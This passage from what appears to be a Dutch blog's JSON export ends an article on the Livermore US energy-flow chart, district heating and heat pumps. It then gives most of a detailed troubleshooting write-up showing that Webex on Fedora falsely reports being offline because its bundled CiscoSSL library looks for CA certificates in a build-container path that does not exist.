MJ per reizigerskilometer, en sneller dan ze hadden kunnen rijden. Vanaf dat punt houdt de auto thuis laten op een offer te zijn en wordt het de voor de hand liggende keuze. Dan doen mensen het ook echt.\nWat betekent dat de oplossingen dezelfde oplossing met een andere hoed op zijn. Elektrificatie haalt 7,5 tot 12,5 quads van de aandrijflijn. Bestemmingsplanning haalt de mijlen omlaag. Dichtheid is wat het openbaar vervoer de moeite waard maakt om te rijden, en het openbaar vervoer is wat de dichtheid leefbaar maakt. Trek aan één knop en je krijgt één knop. Trek aan alle drie en ze vermenigvuldigen.\nAmerika staat op dit moment over de eerste te ruziën.\nNiets ervan begint echter zonder de goedkoopste stap van allemaal, die er tegelijk het moeilijkst uitziet. Iemand moet hardop zeggen dat er een probleem is.\nDe diagnose ontbreekt niet. Die wordt elk jaar gepubliceerd door een federaal laboratorium, gratis, op een openbare website, in een grafiek die helder genoeg is om in een minuut te lezen. Vijfenzestig komma acht procent verspild. Vervoer een derde ervan. Eenentwintig procent rendement op het grootste blok van de pagina. Niemand hoeft een onderzoek te laten doen of op de wetenschap te wachten. De wetenschap kwam in augustus uit. Mensen lazen het kopgetal, begrepen het verkeerd en gingen verder.\nDat is het stuk dat pijn zou moeten doen. Geen enkel land geeft miljarden uit om onder zijn steden te graven voor iets waarvan het vindt dat het wel goed zit, en Amerika heeft 22,35 verspilde quads per jaar stilletjes weggeschreven onder “gaat wel”. Niet bediscussieerd en verworpen. Gewoon nooit op tafel gelegd.\nDe restjes moeten ergens heen Warmte is alleen afval als er nergens plek voor is. Dat is een planningsbesluit, geen technologiekloof, en het is grotendeels decennia geleden genomen.\nAandeel stadsverwarming in de warmtevraag Denemarken ~66%13 Zweden, Finland, Polen, de Baltische staten boven 50% EU-gemiddelde ~13% Verenigd Koninkrijk ~3%14 Verenigde Staten alleen campus-, ziekenhuis- en binnenstadsprojecten Europa draait per 2025 ongeveer 111.650 commerciële en industriële locaties op transkritisch CO₂, grofweg een derde van de hele levensmiddelendetailhandel.15 Het datacentrum van Meta in Odense duwt sinds 2019 zo\u0026rsquo;n 100.000 MWh per jaar het lokale net in. Dat is warmte die anders een droge koeler uit was gegaan. In plaats daarvan verwarmt ze 12.000 woningen.13\nWij hebben ongeveer 14.000 warmtenetten in het Verenigd Koninkrijk en ze dekken nog steeds maar 3% van de warmtevraag.14 Veertienduizend van die dingen en bijna niets te laten zien, omdat ze klein en versnipperd zijn en meestal aan sociale woningbouw vastgeplakt. Ofgem nam in januari de regulering over en de gebiedsaanwijzing begint dit jaar. Doel 7% tegen 2035, ongeveer een vijfde van de gebouwwarmte tegen 2050.16\nDenemarken doet niets slims dat wij niet kunnen. Denemarken heeft pijpen onder de straten gelegd. Wij niet. Dat is het. Dat is het verschil.\nWarmtepompen, en het koudemiddel dat niemand verwacht Dezelfde logica aan de kleine kant. Een elektrische weerstandsverwarming komt niet boven een prestatiecoëfficiënt (COP) van 1,0 uit. Dat is de definitie van het ding. Een warmtepomp verplaatst warmte in plaats van die te maken, dus die doet het beter.\nSysteem COP Omstandigheden Weerstandselement (PTC) maximaal 1,0 alle Warmtepomp in de auto 2,0–3,2 0 tot 15 °C Hyundai/Kia R290 op propaan 3,8 geclaimd −15 °C VW R-744 (CO₂) 3,1 −20 °C17 De ADAC stuurde 28 elektrische auto\u0026rsquo;s door een wintertest bij −7 °C. De modellen met warmtepomp verloren gemiddeld 22% minder actieradius dan die met alleen een weerstand.18\nDe regel met R-744 is een tweede blik waard. Dat is koolstofdioxide zelf, als koudemiddel, in de VW ID.3 en ID.4. De hogere zuiggasdichtheid houdt het vermogen op peil naarmate het kouder wordt, wat precies is wanneer je het nodig hebt.17\nEn CO₂ van koudemiddelkwaliteit is een bijproduct van de productie van ammoniak, ethanol en kunstmest, afgevangen en schoongemaakt in plaats van afgeblazen.19 Een afvalstroom die verwarmt en koelt, met een aardopwarmingsvermogen van 1 tegen de 1.430 van R-134a. Als die lekt, gebeurt er niets.\nHet is geen koolstofafvang en ik ga niet doen alsof; de vulling is minder dan een kilo. Het punt is smaller en beter. Het werkmedium is iets waar we toch al veel te veel van hadden.\nWat ik zelf draai Spullen Specificatie Waarom Zonnepanelen 9 kW het dak ligt goed, dus gebruik het Accu 30 kWh schuift de opbrengst van de dag naar de avond Elektrische auto\u0026rsquo;s MG4, Xpeng G6 geladen op het dak, niet bij een tankstation Airco zelfvoorzienend draait op wat de panelen maken Aansturing Home Assistant zet de grote verbruikers in het goedkope venster Niets exotisch op die lijst en niets nieuws. Hetzelfde principe als het matchen van opslagmedia aan een IO-patroon. Zet de energie waar ze haar geld verdient, meet wat je echt krijgt, en stop met het geloven van het etiket op de doos.\nWat mij verraste was hoeveel van de besparing kwam uit geen brandstof rondrijden. Geen tanker, geen tankstation, geen raffinaderij die onderweg haar deel pakt. De panelen staan tien meter van de auto.\nDe grafiek is een spiegel Livermore publiceert deze dingen al jaren en ze zijn goed. Eerlijk gebouwd, echt bruikbaar, gratis. Een uur van ieders tijd waard.1\nMaar een Sankey-diagram heeft geen mening. Het laat je op schaal zien wat een land met zijn energie besloot te doen. Die 65,8% is geen natuurwet. Het is een plaatje van keuzes over motoren, pijpen en planning, één voor één genomen over zo\u0026rsquo;n zeventig jaar, en het zou er anders uitzien als de keuzes anders waren geweest.\nDe grafiek van Denemarken ziet er anders uit omdat Denemarken heeft gegraven.\nBronnen Lawrence Livermore National Laboratory — Energy Flow Charts — de jaarlijkse Sankey-diagrammen voor de Amerikaanse energie, waaronder de grafiek van 2024 en het totaal van 94,6 biljard BTU.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKate Morley — National Grid: Live — de elektriciteitsvraag van Groot-Brittannië, gemiddeld 30,9 GW over het afgelopen jaar, wat neerkomt op ongeveer 271 TWh per jaar. Wat dat dashboard laat zien heb ik beschreven in Het net dat we wél gerepareerd hebben.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHawai\u0026rsquo;i State Energy Office — Statewide Energy Flowchart — zet de EIA-methodiek uiteen die Livermore gebruikt, waarin gedistribueerde zon, waterkracht, wind op land en zonneparken ingaan met een aangenomen opwekrendement van 100% en zonder weergegeven thermische verliezen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEVreporter — Understanding the complete efficiency picture of electric vehicles — het rendement van tank tot wiel en van accu tot wiel voor verbrandings- en elektrische aandrijflijnen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConcawe — EU refinery energy systems and efficiency — het eigen energieverbruik van een raffinaderij als aandeel van de ruwe olie die erin gaat, van 3–4% voor eenvoudige destillatie tot 7–10% en meer voor installaties met volledige conversie.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS Energy Information Administration — How much electricity is lost in transmission and distribution? — de jaarlijkse Amerikaanse transport- en distributieverliezen bedroegen van 2018 tot 2022 gemiddeld ongeveer 5% van de getransporteerde elektriciteit.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUNCTAD — World seaborne trade — het aandeel tankers in de wereldvloot naar draagvermogen, en de volumes ruwe olie en geraffineerde producten die over zee worden vervoerd.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS Energy Information Administration — Light-duty vehicles\u0026rsquo; share of transportation energy use — lichte voertuigen op 58,5% van de Amerikaanse vervoersenergie, middelzware en zware vrachtwagens en bussen op 23,9%, en luchtvaart als enige andere wijze boven 5%.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCar dependency — Wikipedia en CNN — This little-known rule shapes parking in America — automijlen per hoofd in de VS tegenover Europa, het aandeel dagelijkse ritten en ritten korter dan een mijl dat aan beide kanten van de Atlantische Oceaan met de auto wordt gedaan, de ongeveer acht parkeerplaatsen per auto die uit parkeernormen volgen, en het uiteenlopen van het stedelijk beleid vanaf eind jaren zestig.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBureau of Transportation Statistics — Energy intensity of passenger modes en Public transport versus private cars: a passenger-kilometre energy comparison — energie per reizigerskilometer voor benzineauto\u0026rsquo;s tegenover goed bezet stedelijk elektrisch spoor, de emissieverhouding tussen een auto met één inzittende en een volle touringcar, en de stijging van de busenergie per reizigersmijl toen de bezetting daalde.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTransportation in the United States — Wikipedia en Statista — Share of the rail network which is electrified in Europe — het Amerikaanse aandeel reizigersmijlen in het openbaar vervoer en in de eigen auto, en geëlektrificeerd spoor als aandeel van het net in de EU tegenover de Amerika\u0026rsquo;s.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nStreetsblog USA — Other countries are building transit while the US falls behind en Metros reduce car use in European cities but trams do not — het aantal Amerikaanse en Europese steden met metro- en tramnetten, het tempo waarin de metrolengte sinds 2000 aan beide kanten is gegroeid, en de bevinding dat metrosystemen autoritten verdringen waar tramnetten dat grotendeels niet doen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nState of Green — Utilising excess heat to warm up Danish homes — het Deense aandeel stadsverwarming in de warmtevraag van woningen, en het terugwinnen van restwarmte uit datacentra met de exportcijfers van Odense.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGreater London Authority — Heat networks data report, February 2026 — het versnipperde Britse bestand aan warmtenetten en het huidige aandeel in de warmtevraag.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nATMOsphere — European transcritical CO₂ installations — 111.650 Europese commerciële en industriële locaties met transkritisch CO₂ in 2025, samen ongeveer een derde van de levensmiddelenwinkels.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDepartment for Energy Security and Net Zero — Heat Network Zoning: government response — het kader voor gebiedsaanwijzing, de regulering door Ofgem vanaf januari 2026, en de doelen voor 2035 en 2050.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNaturalRefrigerants.com — CO₂ heat pumps found to offer high efficiency at low ambient temperature in electric vehicles — de prestaties van een R-744-warmtepomp in de auto bij lage buitentemperatuur, en de uitvoeringen in de VW ID.3 en ID.4.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nInsideEVs — For maximum winter EV driving range, you want a car with this feature — de wintertest van de ADAC over 28 elektrische voertuigen en het verschil in verlies aan actieradius bij −7 °C.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNaturalRefrigerants.com — FAQs — CO₂ van koudemiddelkwaliteit als teruggewonnen bijproduct van de productie van ammoniak, alcohol en kunstmest, en het aardopwarmingsvermogen van 1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/energy/rejected-energy-what-the-livermore-chart-shows/","summary":"Lawrence Livermore publiceert elk jaar een Sankey-diagram dat laat zien waar de Amerikaanse energie heen gaat. In 2024 deden 62,27 van de 94,61 quads helemaal geen nuttig werk. Wat verloren energie betekent en wat een quad is, waarom de rekenmethode van de grafiek duurzame bronnen dat blok laat krimpen in plaats van vullen, waarom het vervoer alleen al meer dan een derde van het landelijke verlies is, en de drie dingen die het echt zouden oplossen.","title":"Verloren energie: wat de Livermore-grafiek echt laat zien"},{"content":"Webex legt een gele banner over de bovenkant van het venster. Offline - No internet connection. De telefoondiensten staan op losgekoppeld, niets synchroniseert, en je komt de vergadering niet in die negentig seconden geleden begon.\nDat is geen ongemak als het ding je werktelefoon is. Via Webex komen mijn gesprekken binnen, en mijn VoIP-lijn loopt erdoorheen, dus een client die zich niet aanmeldt is een bureautelefoon die niet overgaat, een vergadering waar ik niet ben, en een collega die de voicemail krijgt. Het hield me van mijn werk. Niet trager, niet beperkt. Gestopt.\nEn niets ervan was aan mij om te veroorzaken of te voorkomen. Een werkdag ging scheef door kwaliteitscontrole die niet is toegepast, bij een leverancier die betaald wordt, op een product dat met een ondersteuningscontract wordt verkocht, tegen een platform dat de eigen eisenpagina ondersteund noemt. Ik heb niets verkeerd ingesteld. Ik installeerde het pakket van de leverancier, uit de repository van de leverancier, op een platform dat de leverancier noemt, en het kon geen TLS-verbinding openen. Daarna heb ik een avond van mijn eigen tijd besteed aan uitzoeken waarom, en dat is tijd die de mensen die het pakket ondertekenden niet hebben besteed.\nDe machine is niet offline. De browser ernaast laadt pagina\u0026rsquo;s. Je mail komt binnen, je terminal haalt op van een remote, en als je het besturingssysteem vraagt of het het internet bereikt, zegt het ja. Webex is het daar zelf mee eens, in zijn eigen log, elf seconden voordat het je het tegendeel vertelt.\nWat er werkelijk is gebeurd, is dat de kopie van OpenSSL die Cisco in Webex meelevert geen enkele certificaatautoriteit kan vinden, omdat hij is gecompileerd om ze te zoeken in /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl. Dat is een map op een Cisco-buildcontainer. Die heeft nooit op jouw computer bestaan en zal dat nooit doen. Elke TLS-verbinding van de applicatie sneuvelt bij de certificaatcontrole, het aanmeldtoken kan niet worden ververst, een timer van vijftien seconden loopt af, en de interface grijpt naar de enige verklaring waarvoor hij een tekst heeft.\nDe banner is dus op een heel specifieke en weinig behulpzame manier fout. Hij wijst jouw netwerk aan. De fout is een pad in hun build.\nDit is versie 46.8.0.35631, op Fedora 44, kernel 7.2.4. Het is een ondersteund platform. Cisco publiceert Linux-systeemeisen en levert een ondertekende .rpm, webex-46.8.0.35631-1.x86_641. Wat volgt is hoe je het in een minuut of tien bewijst, waarom geen van de voor de hand liggende oplossingen werkt, de ene die dat wel doet, en dan het deel dat meer telt dan dat alles: dit is geen subtiele bug. Dit is een build die nooit iemand heeft gedraaid op een machine die hem niet had gebouwd.\nWat de banner je eigenlijk vertelt Webex stuurt zijn verbindingsweergave aan met een samengestelde toestandsmachine, zeven deelmachines met elk eigen timers. Bij het starten initialiseren ze zo:\nConnectivityStateMachine::ConnectivityBanner - Initializing with state: Connected ConnectivityStateMachine::Network - Initializing with state: NoNetwork ConnectivityStateMachine::Services - Initializing with state: Connected ConnectivityStateMachine::Mercury - Initializing with state: Disconnected ConnectivityStateMachine::Authentication - Initializing with state: UserNotAuthenticated ConnectivityStateMachine::Syncing - Initializing with state: Synced ConnectivityStateMachine::Survivability - Initializing with state: SurvivabilityHide Veertig milliseconden later meldt het besturingssysteem terug, en de applicatie schrijft het op:\nNetworkManagerPowerNetworkWatcher.cpp:93 onConnectivityCheckSuccess:: The host is connected to a network, that appears to be able to reach the full Internet. Die regel staat in hetzelfde bestand, in dezelfde sessie, als de banner die beweert dat er geen internetverbinding is. De applicatie wist het. Ze had het antwoord om 08:25:12.131 in handen en liet om 08:25:27.132 het tegendeel zien.\nTussen die twee momenten dit:\nTijd Wat er gebeurde 08:25:12.131 Besturingssysteem bevestigt volledige bereikbaarheid van het internet 08:25:12.218 Proxydetectie: geen ingesteld, directe verbinding 08:25:12.241 Eerste HTTPS-aanvraag faalt, errorCode: 167772294 Error in SSL handshake 08:25:12.569 Verversen van het CloudApps-toegangstoken faalt, dezelfde code 08:25:12.571 Verversen van het Kms-toegangstoken faalt, dezelfde code 08:25:15.684 Nieuwe poging, beide falen 08:25:21.745 Nieuwe poging, beide falen 08:25:27.132 Timer van vijftien seconden loopt af, banner schakelt naar NoInternet 08:26:12.091 Timers van zestig seconden lopen af, diensten zakken naar DisconnectedShortTerm De deelmachine voor authenticatie verlaat UserNotAuthenticated nooit, dus leidt Services zichzelf af als losgekoppeld, dus gaat de banner aan. Elke stap daarvan is correct gedrag gegeven de invoer. De invoer is fout, en de invoer is een getal: 167772294, bij elke mislukte aanvraag, van de eerste tot de laatste.\nDat getal is het hele stuk. Hou het vast.\nDrie paden, waarvan er geen één bestaat Webex gebruikt niet de OpenSSL van het systeem. Het brengt zijn eigen mee, samen met zijn eigen libcurl, en die libcurl linkt tegen de meegeleverde en niet tegen die van jou:\n$ ldd /opt/Webex/bin/libcurl.so | grep -E \u0026#39;ssl|crypto\u0026#39; libssl.so.3 =\u0026gt; /opt/Webex/bin/../lib/libssl.so.3 libcrypto.so.3 =\u0026gt; /opt/Webex/bin/../lib/libcrypto.so.3 Tot zover prima. Een eigen TLS-bibliotheek meeleveren is een verdedigbare keuze en genoeg leveranciers doen het. Waar het om gaat is wat erin gebakken is, en OpenSSL vertelt het je als je het vraagt:\n$ strings /opt/Webex/lib/libcrypto.so.3 | grep -E \u0026#39;OPENSSLDIR|ENGINESDIR|MODULESDIR\u0026#39; OPENSSLDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl\u0026#34; ENGINESDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/lib/engines-3\u0026#34; MODULESDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/lib/ossl-modules\u0026#34; Drie stuks. Niet één verschoven instelling. Het complete installatievoorvoegsel, meegesleept van de machine die het compileerde, in een bibliotheek die de klant bereikt als ondertekend pakket op een ondersteund platform.\nOPENSSLDIR wordt één keer gezet, tijdens het configureren, met --openssldir, en OpenSSL\u0026rsquo;s eigen bouwdocumentatie is duidelijk waar het voor is: “Directory for OpenSSL configuration files, and also the default certificate and key store.”2 Alles wat onder vertrouwen hangt, hangt eraan. Het standaard CA-bestand is cert.pem erin en de standaard CA-map is certs erin3. /workspace is een Conan-buildcache. Conan is de C++-pakketbeheerder waarmee Cisco bouwt, en hij bewaart elk pakket onder een hash van zijn bouwinvoer4. De hash cisco8ee8b59cf93de is een feit over een container die waarschijnlijk minuten na afloop van de build is verwijderd.\nVraag de bibliotheek wat ze is, en het is niet eens standaard-OpenSSL:\nVERSION CiscoSSL 3.5.5.8.5.4 27 Jan 2026 BUILT_ON built on: Wed Feb 25 06:29:18 2026 UTC PLATFORM platform: conan-Release-Linux-x86_64-gcc-13 DIR OPENSSLDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl\u0026#34; Een onderhouden eigen fork, met een eigen versieschema, gebouwd in februari, uitgeleverd in augustus, en nog steeds met de werkmap erin waarin hij is gemaakt.\nWaar elke kopie van OpenSSL op de machine zijn vertrouwensankers zoekt Eén machine, twee kopieën van OpenSSL, en maar één ervan weet waar de certificaten staan Geen van beide krijgt het tijdens het draaien te horen. Elk draagt het antwoord ingecompileerd mee, gezet door wie de build draaide. De systeemkopie: OpenSSL 3.5.8, Fedora 44 ingecompileerde OPENSSLDIR /etc/pki/tls de map is er cert.pem \u0026#8594; tls-ca-bundle.pem certs/ \u0026#8594; gehashte ankers de keten wordt tegen echte ankers gecontroleerd Handshake slaagt. Elk ander programma werkt. Precies daarom weet de gebruiker zeker dat het netwerk goed is. De kopie van Webex: CiscoSSL 3.5.5.8.5.4 ingecompileerde OPENSSLDIR /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl zo'n map bestaat op geen klantmachine cert.pem \u0026#8594; afwezig certs/ \u0026#8594; afwezig de opslag laadt nul vertrouwensankers Handshake faalt: fout 0x0A000086, decimaal 167772294. De banner zegt de gebruiker dat het netwerk eruit ligt. Twee kopieën van OpenSSL op één machine. Geen van beide krijgt tijdens het draaien te horen waar het vertrouwen ligt. Elk draagt een ingecompileerde tekst mee, en een van die teksten noemt een map die alleen ooit op iemand anders\u0026rsquo; buildhost bestond. Neem strings niet als antwoord. Vraag het de bibliotheek strings vindt tekst in een bestand. Het bewijst niet dat de bibliotheek die gebruikt. Laad dus de meegeleverde bibliotheek en vraag het haar rechtstreeks, wat ongeveer twaalf regels Python kost en geen root:\nimport ctypes c = ctypes.CDLL(\u0026#34;/opt/Webex/lib/libcrypto.so.3\u0026#34;) for f in (\u0026#34;X509_get_default_cert_file\u0026#34;, \u0026#34;X509_get_default_cert_dir\u0026#34;, \u0026#34;X509_get_default_cert_file_env\u0026#34;, \u0026#34;X509_get_default_cert_dir_env\u0026#34;): getattr(c, f).restype = ctypes.c_char_p print(f\u0026#34;{f:34} {getattr(c, f)().decode()}\u0026#34;) X509_get_default_cert_file /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl/cert.pem X509_get_default_cert_dir /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl/certs X509_get_default_cert_file_env SSL_CERT_FILE X509_get_default_cert_dir_env SSL_CERT_DIR Daar staat het uit de mond van de bibliotheek zelf. Als iets in Webex deze kopie van OpenSSL om de standaard vertrouwensopslag vraagt, krijgt het een bestand en een map aangereikt die niet bestaan. Dat is wat SSL_CTX_set_default_verify_paths doet, en dat is wat vrijwel elke client doet tenzij hem iets anders is verteld.\nDe laatste twee regels zijn het noteren waard, want dat is de nooduitgang: de bibliotheek laat SSL_CERT_FILE en SSL_CERT_DIR beide overschrijven5. Onthou dat ook. Het wordt belangrijk, en niet op de manier die je zou verwachten.\nDe exacte foutcode reproduceren Bewijs door inspectie is geen bewijs. Neem de meegeleverde libssl.so.3 en libcrypto.so.3, doe een echte handshake naar een echte host met niets dan de standaardwaarden van de bibliotheek, en kijk wat er terugkomt.\nDe interessante run is die waarin de standaardwaarden nergens op wijzen. SSL_CERT_FILE en SSL_CERT_DIR overschrijven precies de twee waarden die een ontbrekende OPENSSLDIR in de lucht laat hangen, dus ze op een pad richten dat niet bestaat reproduceert de uitgeleverde toestand exact:\n$ SSL_CERT_FILE=/nonexistent/cert.pem SSL_CERT_DIR=/nonexistent/certs python3 tls.py set_default_verify_paths -\u0026gt; 1 set_fd -\u0026gt; 1 SNI -\u0026gt; 1 SSL_connect -\u0026gt; -1 SSL_get_error -\u0026gt; 1 verify result 20: unable to get local issuer certificate err: 0xa000086 error:0A000086:SSL routines::certificate verify failed 0x0A000086 is in decimalen 167772294.\nDat is het getal in elke mislukte regel van het Webex-log, en het kwam niet van Webex. Het kwam uit Cisco\u0026rsquo;s eigen TLS-bibliotheek, draaiend buiten hun applicatie, falend om precies één reden: ze had geen vertrouwensankers om de keten tegen te controleren. Dezelfde bibliotheek, dezelfde fout, geen applicatie ertussen.\nRicht dezelfde twee variabelen op de echte Fedora-bundel en hetzelfde codepad loopt door:\n$ SSL_CERT_FILE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem python3 tls.py SSL_connect -\u0026gt; 1 SSL_get_error -\u0026gt; 0 verify result 0: ok Aan het netwerk veranderde tussen die twee runs niets. Aan één bestandspad wel.\nElke netwerkstap slaagt. De stap die faalt opent een lokaal bestand. Vier stappen gaan over het netwerk en slagen. De vijfde leest een bestand en slaagt niet. Gedraaid tegen de meegeleverde libssl.so.3 en libcrypto.so.3, buiten Webex, met niets dan de standaardwaarden van de bibliotheek. TCP connect :443 ok ClientHello, SNI ok ServerHello, keten ok, keten ontvangen keten tegen vertrouwen controleren geen ankers geladen wat de bibliotheek terugmeldt SSL_connect -\u0026#62; -1 verify result 20: unable to get local issuer certificate err: 0xa000086 error:0A000086:SSL routines::certificate verify failed 0x0A000086 is decimaal 167772294, het getal in elke mislukte regel van het Webex-log. De applicatie schreef het woord “certificaat” nergens. Ze logde “Error in SSL handshake” en een decimaal getal, en de interface maakte daar “Offline - No internet connection” van, en dat was de machine aantoonbaar juist niet. Niets hiervan is een netwerkfout. Het enige dat ontbrak was een map. Vier stappen gaan over het netwerk en slagen, inclusief het ontvangen van de volledige certificaatketen van de server. De stap die faalt opent een lokaal bestand. De gebruiker krijgt een melding over zijn internetverbinding te zien. Waarom niets je waarschuwde Twee dingen spannen samen om dit stil te houden, en maar één ervan is Cisco\u0026rsquo;s schuld.\nWat nooit een woord zegt Wiens ontwerp Waarom het stil blijft Een vertrouwensopslag laden die er niet is Dat van OpenSSL, met opzet SSL_CTX_set_default_verify_paths geeft 1 terug of de paden nu echt zijn of niet. “A missing default location is still treated as a success”3 Niets hebben om op terug te vallen Dat van Cisco, en juist Certificaten gecontroleerd, zelfondertekende geweigerd, SSL-herhaling uit, dus er bestaat geen afgeknepen modus die een fout kan maskeren Het eerste is redelijk. Een programma dat zijn eigen ankers apart meelevert zou zich daar niet om hoeven bekommeren, dus de aanroep slaagt, de opslag is leeg, en nergens in de stapel zegt iets ik heb nul certificaatautoriteiten geladen. Het eerste dat het merkt is een controlefout een halve seconde later. Ik heb die aanroep tegen de meegeleverde bibliotheek gedraaid met de paden op /nonexistent en hij gaf 1 terug. Het staat in de uitvoer hierboven.\nHet tweede is beleid dat van de dienst komt, en het log legt het vast:\nWdm.cpp:1162 parseDeviceJson: Adding policy \u0026lt;\u0026lt; allowSelfSignedCertificate with value: false NetworkManager.cpp:1738 onConfigReady: ...httpRequestSSLRetryEnabled: 0 HttpRequestManager.cpp:1883 rawHttpRequest: {\u0026#34;validateCertificates\u0026#34;:\u0026#34;true\u0026#34;,\u0026#34;useClientCertificate\u0026#34;:\u0026#34;false\u0026#34;} Die drie vlaggen zijn de enige reden dat deze fout een storing is en niet iets veel ergers, en daar is het de moeite waard bij stil te staan in plaats van eroverheen te haasten.\nWerk het uit. De meegeleverde bibliotheek laadt nul vertrouwensankers, en niets onder de beleidslaag zou dat ooit hebben gemerkt, want de fout is helemaal naar beneden toe met opzet stil. Wat er een banner van maakte waren drie vlaggen. Zet er één om zoals genoeg clients hem uitleveren en dezelfde build faalt helemaal niet. Hij verbindt, met alles dat welk certificaat dan ook ophoudt, want hij heeft niets om er een tegen te controleren.\nDezelfde kapotte vertrouwensopslag, één beleidsvlag van een heel andere fout Het vertrouwenspad is in beide kolommen even kapot. Alleen het beleid bepaalt hoe je het merkt. Beide gemeen: de ingecompileerde OPENSSLDIR bestaat niet, dus laadt de opslag nul certificaatautoriteiten Zoals Webex het uitlevert validateCertificates: true allowSelfSignedCertificate: false httpRequestSSLRetryEnabled: 0 Niets om tegen te controleren, dus weigert hij. Handshake faalt. Banner. Je verliest een dag. Luid, en onschadelijk. Een ervan andersom gezet validateCertificates: false of zelfondertekende toegestaan of opnieuw zonder controle Niets om tegen te controleren, dus gaat hij door. Handshake slaagt. Tegen van alles. Stil, en niet onschadelijk. Wat de twee uitkomsten scheidde was een beleidswaarde die een ander team zette, stroomafwaarts van het defect, om redenen die er los van staan. Het vertrouwenspad beschermde nooit iemand. Het was overal kapot, en de enige open vraag was welke kant het op zou falen. Het verschil tussen “Webex is vandaag offline” en “Webex vertrouwde wat er ook antwoordde” is een beleidswaarde die door een ander team is gezet, stroomafwaarts van het defect, om redenen die er niets mee te maken hebben. Hoe het aan de oppervlakte komt, dat is het probleem. De gebruiker krijgt “Offline - No internet connection”. Het log krijgt “Error in SSL handshake” en een decimaal getal. Het woord certificaat komt nergens voor waar een gebruiker of een eerstelijnsmedewerker ooit zal kijken, en het enige diagnostische kruimeltje is een getal dat je eerst naar hex moet omrekenen voordat het iets betekent.\nDe oplossingen die niet werkten De twee voor de hand liggende falen allebei, en de redenen verschillen en zijn allebei het weten waard.\nDe meegeleverde openssl.cnf aanpassen Webex levert een configuratiebestand mee op /opt/Webex/lib/openssl.cnf, en zoals het wordt uitgeleverd activeert het één provider:\n[provider_sect] fips = fips_sect Alleen FIPS. Niet de default-provider, waar de gewone TLS-algoritmen wonen6. Die terugzetten is een aanpassing van één regel en het verandert helemaal niets, want de meegeleverde OpenSSL leest dat bestand nooit. Hij zoekt openssl.cnf binnen OPENSSLDIR7, en OPENSSLDIR is het pad dat niet bestaat. Het bestand ligt gezaghebbend in de installatiemap. Niets leest het.\nHet is een tweede defect dat zich achter het eerste verbergt. Zelfs als het padprobleem morgen werd opgelost door OPENSSLDIR op /opt/Webex/lib te richten, zou deze configuratie dan laden en alleen FIPS activeren. En de FIPS-module zelf wordt geladen uit MODULESDIR, het derde dode pad uit dezelfde boom, dus de fips.so die in /opt/Webex/lib wordt meegeleverd is ook niet te vinden. Drie paden, één verkeerd voorvoegsel, en elk ervan zo kapot dat het het volgende verbergt.\nDe omgevingsvariabelen zetten De bibliotheek eerbiedigt SSL_CERT_FILE en SSL_CERT_DIR. Dat heb ik hierboven bewezen. De geslaagde run staat er gewoon. De voor de hand liggende zet is dus om ze in de bureaubladvermelding te zetten, en dat is geprobeerd:\nExec=env OPENSSL_CONF=/opt/Webex/lib/openssl.cnf \\ SSL_CERT_FILE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem \\ SSL_CERT_DIR=/etc/pki/tls/certs/ /opt/Webex/bin/CiscoCollabHost %U Geen verandering. En de reden is niet dat Webex de variabelen negeert. De reden is dat het proces ze nooit heeft gekregen:\n$ tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; \u0026lt; /proc/20293/environ | grep -E \u0026#39;SSL|OPENSSL|CURL\u0026#39; $ tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; \u0026lt; /proc/20293/environ | wc -l 99 Negenennegentig variabelen in het draaiende Webex-proces, en geen van alle de drie die waren gezet. Want er zijn twee bureaubladvermeldingen met dezelfde naam op deze machine:\nBestand Wat de Exec-regel start Geschreven door /usr/share/applications/webex.desktop de env-regel met drie variabelen hierboven, volledig de .rpm, daarna met de hand aangepast 